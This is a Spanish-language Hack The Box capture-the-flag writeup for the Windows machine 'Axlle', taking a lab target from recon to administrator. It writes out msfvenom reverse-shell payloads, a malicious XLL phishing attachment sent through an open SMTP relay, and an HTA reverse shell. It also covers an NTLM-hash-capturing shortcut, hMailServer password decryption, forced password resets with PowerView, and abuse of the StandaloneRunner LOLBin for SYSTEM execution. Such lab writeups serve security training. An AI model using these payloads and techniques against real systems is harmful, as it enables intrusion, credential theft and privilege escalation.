Table of Contents
Hack The Box: Axlle Writeup
Welcome to my detailed writeup of the hard difficulty machine “Axlle” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.253.213 --ulimit 5000 -g
210.129.253.213 -> [25,53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49664,62017,62025,62021,62022,62040]
1$ nmap -p25,53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49664,62017,62025,62021,62022,62040 -sCV -Pn 10.129.253.213 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 16:21 CEST
3Nmap scan report for 10.129.253.213
4Host is up (0.038s latency).
5
6PORT STATE SERVICE VERSION
725/tcp open smtp hMailServer smtpd
8| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
9|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1053/tcp open domain Simple DNS Plus
1180/tcp open http Microsoft IIS httpd 10.0
12|_http-server-header: Microsoft-IIS/10.0
13|_http-title: Axlle Development
14| http-methods:
15|_ Potentially risky methods: TRACE
1688/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-02 12:21:50Z)
17135/tcp open msrpc Microsoft Windows RPC
18139/tcp open netbios-ssn Microsoft Windows netbios-ssn
19389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
20445/tcp open microsoft-ds?
21464/tcp open kpasswd5?
22593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
233268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
243269/tcp open tcpwrapped
255985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
26|_http-server-header: Microsoft-HTTPAPI/2.0
27|_http-title: Not Found
289389/tcp open mc-nmf .NET Message Framing
2949664/tcp open msrpc Microsoft Windows RPC
3062017/tcp open msrpc Microsoft Windows RPC
3162021/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3262022/tcp open msrpc Microsoft Windows RPC
3362025/tcp open msrpc Microsoft Windows RPC
3462040/tcp open msrpc Microsoft Windows RPC
35Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows
36
37Host script results:
38| smb2-time:
39| date: 2024-08-02T12:22:39
40|_ start_date: N/A
41|_clock-skew: -1h59m41s
42| smb2-security-mode:
43| 3:1:1:
44|_ Message signing enabled and required
45
46Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
47Nmap done: 1 IP address (1 host up) scanned in 97.00 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.253.213 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 16:23 CEST
3Nmap scan report for 10.129.253.213
4Host is up (0.041s latency).
5Not shown: 1497 open|filtered udp ports (no-response)
6PORT STATE SERVICE
753/udp open domain
888/udp open kerberos-sec
9123/udp open ntp
Me llama la atención que esté el puerto 25 abierto, si el servicio de correo está mal configurado, podríamos enviar un correo a algún usuario y quizás podamos conseguir algún ataque de phising o algo parecido.
DNS Enumeration
Siempre que veo un servicio de DNS me gusta enumerarlo y realizar fuerza bruta a ver si encuentro algún subdominio.
Para ello primero necesito un dominio, y haciendo un simple whatweb
podemos encontrar un dominio.
axlle.htb
1$ whatweb http://10.129.253.213
2http://10.129.253.213 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[accounts@axlle.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.253.213], Microsoft-IIS[10.0], Script, Title[Axlle Development]
Encontramos un NS
1 dig NS axlle.htb @10.129.253.213
2
3; <<>> DiG 9.18.24-1-Debian <<>> NS axlle.htb @10.129.253.213
4;; global options: +cmd
5;; Got answer:
6;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12630
7;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 4
8
9;; OPT PSEUDOSECTION:
10; EDNS: version: 0, flags:; udp: 4000
11;; QUESTION SECTION:
12;axlle.htb. IN NS
13
14;; ANSWER SECTION:
15axlle.htb. 3600 IN NS mainframe.axlle.htb.
16
17;; ADDITIONAL SECTION:
18mainframe.axlle.htb. 1200 IN A 10.129.253.213
19mainframe.axlle.htb. 1200 IN AAAA dead:beef::f938:ff46:9a65:3d9
20mainframe.axlle.htb. 1200 IN AAAA dead:beef::f6
Por fuerza bruta no encontré nada.
HTTP Enumeration
En el sitio web encontramos un correo
accounts@axlle.htb
-> importante si existe un servicio SMTP detrás enumerar direcciones de correo.
No consigo una NULL SESSION ni por RPC, LDAP ni SMB.
SMTP Enumeration
Hay que tener en cuenta que está el WinRM expuesto.
Nos damos cuenta de que este servicio está mal configurado ya que podemos mandar correos electrónicos sin necesidad de autenticarnos.
1250 Hello.
2MAIL FROM:example@axlle.htb
3250 OK
4RCPT TO:accounts
5550 A valid address is required.
6RCPTO TO: accounts@axlle.htb
7503 Bad sequence of commands
8RCPT TO: accounts@axlle.htb
9250 OK
10DATA
11354 OK, send.
12Esto es una prueba
13From: test@axlle.htb
14To: accounts@axlle.htb
15Subject: Email de prueba
16Este es mi email de prueba
17.
18.
19<CRLF>.<CRLF250 Queued (47.297 seconds)
Lo podemos probar con swaks
mas fácilmente.
1$ swaks --to accounts@axlle.htb --from pointed@axlle.htb --header "Subject: test" --body "please click here http://10.10.14.80:8081/" --server 10.129.253.213
2=== Trying 10.129.253.213:25...
3=== Connected to 10.129.253.213.
4<- 220 MAINFRAME ESMTP
5 -> EHLO parrot
6<- 250-MAINFRAME
7<- 250-SIZE 20480000
8<- 250-AUTH LOGIN
9<- 250 HELP
10 -> MAIL FROM:<pointed@axlle.htb>
11<- 250 OK
12 -> RCPT TO:<accounts@axlle.htb>
13<- 250 OK
14 -> DATA
15<- 354 OK, send.
16 -> Date: Fri, 02 Aug 2024 16:41:16 +0200
17 -> To: accounts@axlle.htb
18 -> From: pointed@axlle.htb
19 -> Subject: test
20 -> Message-Id: <20240802164116.003875@parrot>
21 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
22 ->
23 -> please click here http://10.10.14.80:8081/
24 ->
25 ->
26 -> .
27
28<- 250 Queued (10.969 seconds)
29 -> QUIT
30<- 221 goodbye
31=== Connection closed with remote host.
Aunque no nos llega ninguna respuesta.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Haciendo alusión al nombre de la máquina, quizás pueda mandar un archivo XLL a la víctima.
Y aquí la cabeza me hizo click cuando leí el siguiente mensaje en la página principal.
If you have any outstanding invoices or requests, please email them to accounts@axlle.htb in Excel format. Please note that all macros are disabled due to our security posture.
y además vi que la imagen de la máquina es un pescador (phising).
Voy a probar a mandar un Excel XLL malicioso como archivo a través de swaks
a la cuenta accounts@axlle.htb
Foothold -> Creating Malicious XLL File
Primero tenemos que generar nuestro payload en formato binario. Importante que sea para una arquitectura de 64 bits.
1$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -f raw -o shell.bin
Tras investigar, encontramos varios PoC para generar archivos XLL maliciosos, uno de ellos me funcionó. PoC Post Explicativo
Necesitamos instalar Nim, MinGW, Python y algunas dependencias de Nim
1nimble install ptr_math
2nimble install winim
3nimble install nimcrypto
Una vez teniendo todo eso, podemos generar nuestro archivo XLL malicioso.
1python build.py -e -o shell -s .\shell.bin
Y ahora nos ponemos en escucha con netcat
por el puerto 443.
Y enviamos un correo a la cuenta de correo electrónico anteriormente encontrada adjuntando el archivo xll malicioso que hemos creado.
1$ swaks --from administrator@axlle.htb --to accounts@axlle.htb --server 10.129.253.213 --port 25 --header 'Excel file' --body 'Here is your excel file' --attach @shell.xll
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 62180
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\>whoami
8whoami
9axlle\gideon.hamill
Aquí todavía no está la flag.
User Pivoting
Enumerando los correos del usuario dallon.matrix
encontramos este mensaje
Return-Path: webdevs@axlle.htb
Received: from bumbag (Unknown [192.168.77.153])
by MAINFRAME with ESMTP
; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb
From: webdevs@axlle.htb
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
Hi everyone,
The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.
We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.
Yours in click-worthy URLs,
The Web Dev Team
Enumerando el servicio hMailServer, sabemos que hay un archivo llamado hMailServer.ini que se encuentra o en el directorio Windows
o en directorio Bin
del directorio raíz de instalación, dentro de este archivo se encuentran credenciales encriptadas.
1C:\Program Files (x86)\hMailServer\Bin>type hMailServer.INI
2type hMailServer.INI
3[Directories]
4ProgramFolder=C:\Program Files (x86)\hMailServer
5DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
6DataFolder=C:\Program Files (x86)\hMailServer\Data
7LogFolder=C:\Program Files (x86)\hMailServer\Logs
8TempFolder=C:\Program Files (x86)\hMailServer\Temp
9EventFolder=C:\Program Files (x86)\hMailServer\Events
10[GUILanguages]
11ValidLanguages=english,swedish
12[Security]
13AdministratorPassword=52a1b2a1211e690998e0d2ccb653ff22
14[Database]
15Type=MSSQLCE
16Username=
17Password=52abe4d2e16269ddddf7b166218e92d9
18PasswordEncryption=1
19Port=0
20Server=
21Database=hMailServer
22Internal=1
23
24C:\Program Files (x86)\hMailServer\Bin>
Podemos desencriptar esta contraseña, la de la base de datos, utilizando este PoC Pass -> A02D41C55AC
Pero esta pass no sirve para nada, por lo cual, vamos a aprovechar lo que sabemos del correo encontrado.
drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation
Creé un archivo .url en el directorio C:\inetpub\testing
con este formato pero apuntando a mi máquina.
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
IDList=
URL=file://51.79.185[.]145/pdf/data1.zip/pdf1.cpl
IconIndex=13
HotKey=0
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Y capturé un hash NTLMv2 que no pude crackear, pero esto me sirve para saber que el usuario dallon.matrix está abriendo estos archivos, así que ya tengo claro el vector de ataque.
dallon.matrix::AXLLE:aaaaaaaaaaaaaaaa:8aba7b6bafde0dc8d454f35cf15b1029:010100000000000000e46e9dfde4da010fb198cd7ebfc63d000000000100100047004500460054006e006400710056000300100047004500460054006e00640071005600020010004e00730054004a004d00640054004b00040010004e00730054004a004d00640054004b000700080000e46e9dfde4da0106000400020000000800300030000000000000000100000000200000ee1ef70c7796141f1b5697e749cbbec39a1feb03c8cfc45e989aee8f08efcdc10a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380030000000000000000000
Para ello, podemos crear el típico archivo HTA
1$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -f hta-psh -o evil.hta
Nos creamos un archivo evil.url
1$ cat evil.url
2[InternetShortcut]
3
4URL=C:\Users\Public\Documents\evil.hta
5
6ShowCommand=7
7
8IconIndex=247
9
10IconFile=C:\Windows\System32\shell32.dll
El archivo evil.hta
que hemos creado con msfvenom
lo dejamos en C:\Users\Public\Documents\evil.hta
Ahora, nos ponemos en escucha con netcat
por el puerto 443.
Subimos el archivo evil.url
a C:\inetpub\testing
como bien decía la nota y…
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 60887
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\>whoami
8whoami
9axlle\dallon.matrix
User Pivoting 2
Después de enumerar un rato la máquina, vamos a ejecutar BloodHound.
Me copio el SharpHound
a la máquina víctima.
C:\Users\dallon.matrix\Desktop>copy \\10.10.14.80\smbFolder\SharpHound.exe SharpHound.exe
Y simplemente lo ejecutamos
C:\Users\dallon.matrix\Desktop>.\SharpHound.exe
Y copiamos el resultado a nuestra máquina de atacante.
C:\Users\dallon.matrix\Desktop>copy 20240802083534_BloodHound.zip \\10.10.14.80\smbFolder\20240802083534_BloodHound.zip
Ahora abrimos el bloodhound
y levantamos la BBDD de neo4j
y seleccionamos el zip.
Voy a marcar este usuario como owned
Pertenece a un grupo interesante, APP DEVS@AXLLE.HTB
.
Los usuarios de este grupo pueden cambiar la contraseña a los usuarios
jacob.greeny
y a baz.humphries
Estos dos usuarios pertenecen a los mismos grupos, vamos a migrar a jacob.greeny
.
Además, estos usuarios están en el grupo de Remote Management Users
por lo cual vamos a poder hacer uso de evil-winrm
para conseguir una consola interactiva a través del protocolo WinRM.
Abusing ForceChangePassword
Antes de nada, he migrado a una shell de nishang
para trabajar mas cómodamente.
Ahora me comparto el PowerView.ps1
y importamos sus módulos.
1PS C:\Users\dallon.matrix\Desktop> copy \\10.10.14.80\smbFolder\PowerView.ps1 PowerView.ps1
2
3PS C:\Users\dallon.matrix\Desktop> . .\PowerView.ps1
Y ahora me puedo crear un nuevo objeto de SecureString
.
1PS C:\Users\dallon.matrix\Desktop> $NewPassword = ConvertTo-SecureString 'Pointed123@' -AsPlainText -Force
Y puedo cambiarle la credencial a jacob.greeny
1PS C:\Users\dallon.matrix\Desktop> Set-DomainUserPassword -Identity 'jacob.greeny' -AccountPassword $NewPassword
Con netexec
podemos comprobar que hemos cambiado la credencial correctamente.
1$ nxc smb 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
2SMB 10.129.253.213 445 MAINFRAME [*] Windows Server 2022 Build 20348 x64 (name:MAINFRAME) (domain:axlle.htb) (signing:True) (SMBv1:False)
3SMB 10.129.253.213 445 MAINFRAME [+] axlle.htb\jacob.greeny:Pointed123@
Y por alguna razón netexec
me reporta que no tengo permisos para conectarme por WinRM
1$ nxc winrm 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
2WINRM 10.129.253.213 5985 MAINFRAME [*] Windows Server 2022 Build 20348 (name:MAINFRAME) (domain:axlle.htb)
3WINRM 10.129.253.213 5985 MAINFRAME [-] axlle.htb\jacob.greeny:Pointed123@
pero evil-winrm
demuestra lo contrario….
1$ evil-winrm -i 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\jacob.greeny\Documents> whoami
11axlle\jacob.greeny
Privilege Escalation - Abusing StandaloneRunner
Ahora que ya somos jacob.greeny
Antes, había visto un directorio al cual no podía acceder, ahora como este usuario si puedo acceder.
C:\App Development
Nos encontramos un proyecto en C#
llamado kbfiltr
, leyendo el README.md
encontramos esto que me llama la atención.
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**
Entonces si tuviera permisos de escritura en esa carpeta, podría reemplazar yo el binario por un payload hecho con msfvenom
y supuestamente lo debería de ejecutar la cuenta administradora del sistema.
Podemos comprobar los permisos con icacls
1*Evil-WinRM* PS C:\App Development\kbfiltr> icacls "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64"
2C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64 AXLLE\App Devs:(OI)(CI)(RX,W)
3 Everyone:(I)(OI)(CI)(R)
4 AXLLE\Administrator:(I)(OI)(CI)(F)
5 BUILTIN\Users:(I)(OI)(CI)(R)
6 AXLLE\App Devs:(I)(OI)(CI)(RX)
7 NT SERVICE\TrustedInstaller:(I)(F)
8 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
9 NT AUTHORITY\SYSTEM:(I)(F)
10 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
11 BUILTIN\Administrators:(I)(F)
12 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
13 BUILTIN\Users:(I)(RX)
14 BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
15 CREATOR OWNER:(I)(OI)(CI)(IO)(F)
16 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
17 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
18 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
19 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
20
21Successfully processed 1 files; Failed processing 0 files
Y vemos que el siguiente permiso AXLLE\App Devs:(OI)(CI)(RX,W)
Esto significa que nuestro usuario, como pertenece al grupo App Devs
, puede escribir en esa carpeta, por lo cual podríamos reemplazar el binario y escalar privilegios ya que según la nota, debe de haber una especie de tarea cron recurrente que ejecuta ese binario como el administrador.
Creamos el binario malicioso con msfvenom
1$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -e x86/shikata_ga_nai -f exe -o standalonerunner.exe
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4Found 1 compatible encoders
5Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
6x86/shikata_ga_nai succeeded with size 351 (iteration=0)
7x86/shikata_ga_nai chosen with final size 351
8Payload size: 351 bytes
9Final size of exe file: 73802 bytes
10Saved as: standalonerunner.exe
1*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> upload standalonerunner.exe
Nos venimos a la ruta C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64
y subimos con la función upload
que incluye evil-wirnm
el binario malicioso recién creado.
Y ahora si nos ponemos en escucha con netcat
por el puerto 443…
NO PASA NADA ¿Por qué? -> Por alguna razón, no podemos tocar el .exe, tenemos permisos sobre el directorio pero no sobre el .exe. Muchas personas han resuelto la máquina con este método pero resulta que no era el método intencionado y por eso fue parcheado.
Así que vamos a hacer el método intencionado.
Resulta que este binario pertenece a la colección de LOLBins
, una colección de binarios que tienen comportamientos un poco extraños.
Buscando un poco encontré un tweet que me llevó a este post
Y parece que hay una función que te permitirían ejecutar comandos si existen unas condiciones.
1public static void RunCommand(string cmd)
2{
3 cmd = TestRunnerUtil.ParseParams(cmd, TestRunner.GlobalParams);
4 ProcessStartInfo startInfo = new ProcessStartInfo();
5 startInfo.WorkingDirectory = TestRunner.WorkingDir.FullName;
6 startInfo.UseShellExecute = false;
7 startInfo.RedirectStandardOutput = true;
8 startInfo.RedirectStandardError = true;
9 startInfo.FileName = "CMD.exe";
10 startInfo.Arguments = "cmd /c " + cmd;
11 Console.WriteLine(string.Format((IFormatProvider) CultureInfo.CurrentCulture, "Running {0}", new object[1]
12 {
13 (object) cmd
14 }));
15 Process p = Process.Start(startInfo);
16 if (cmd.Contains("te.exe"))
17 TestRunner.RunTAEF(p);
18 p.WaitForExit();
19}
Primero nos copiamos los archivos standalonerunner.exe
y standalonexml.dll
a un directorio.
1*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> copy * C:\Windows\Temp\work
Tenemos que crear un archivo reboot.rsf
que contenga lo siguiente para que el flujo del programa pase por donde nosotros queremos.
1$ cat reboot.rsf
2myTestDir
3True
Ahora, para que en el método MakeWorkingDir
la condición sea verdadera, tenemos que crear un par de directorios. El directorio myTestDir
y dentro el directorio working
.
C:\Windows\Temp\work\myTestDir\working
Y ahora en el directorio donde se encuentra el standalonerunner.exe
creamos un archivo command.txt
con el comando que queremos ejecutar.
En mi caso
1C:\Windows\Temp\work\shell.exe
Podemos comprobar que nos manda la reverse shell si ejecutamos el binario standalonerunner.exe
y esperamos unos segundos.
Ahora replicamos lo mismo en el directorio
C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64
ya que en principio SYSTEM
está ejecutando el binario de forma periódica.
Y nos ponemos en escucha con netcat
por el puerto 443…
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 52156
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working>whoami
8whoami
9axlle\administrator
Y ya habríamos escalado privilegios.
1C:\Users\Administrator\Desktop>dir
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is BFF7-F940
5
6 Directory of C:\Users\Administrator\Desktop
7
801/01/2024 04:45 AM <DIR> .
901/02/2024 04:05 AM <DIR> ..
1008/02/2024 05:19 AM 34 root.txt
11 1 File(s) 34 bytes
12 2 Dir(s) 2,924,068,864 bytes free
13
14C:\Users\Administrator\Desktop>type root.txt
15type root.txt
16513f9092e0147eb40...
¡Y ya estaría! Una máquina bastante chula donde se aprenden un montón de conceptos nuevos, he disfrutado mucho completandola.
Happy Hacking! 🚀
#HackTheBox #Axlle #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #Phising #Creating Malicious HTA #Creating Malicious XLL #Creating Malicious Browser Link #User Pivoting #BloodHound #SharpHound #Abusing ForceChangePassword #PowerView.ps1 #Abusing StandaloneRunner #Abusing LOLBins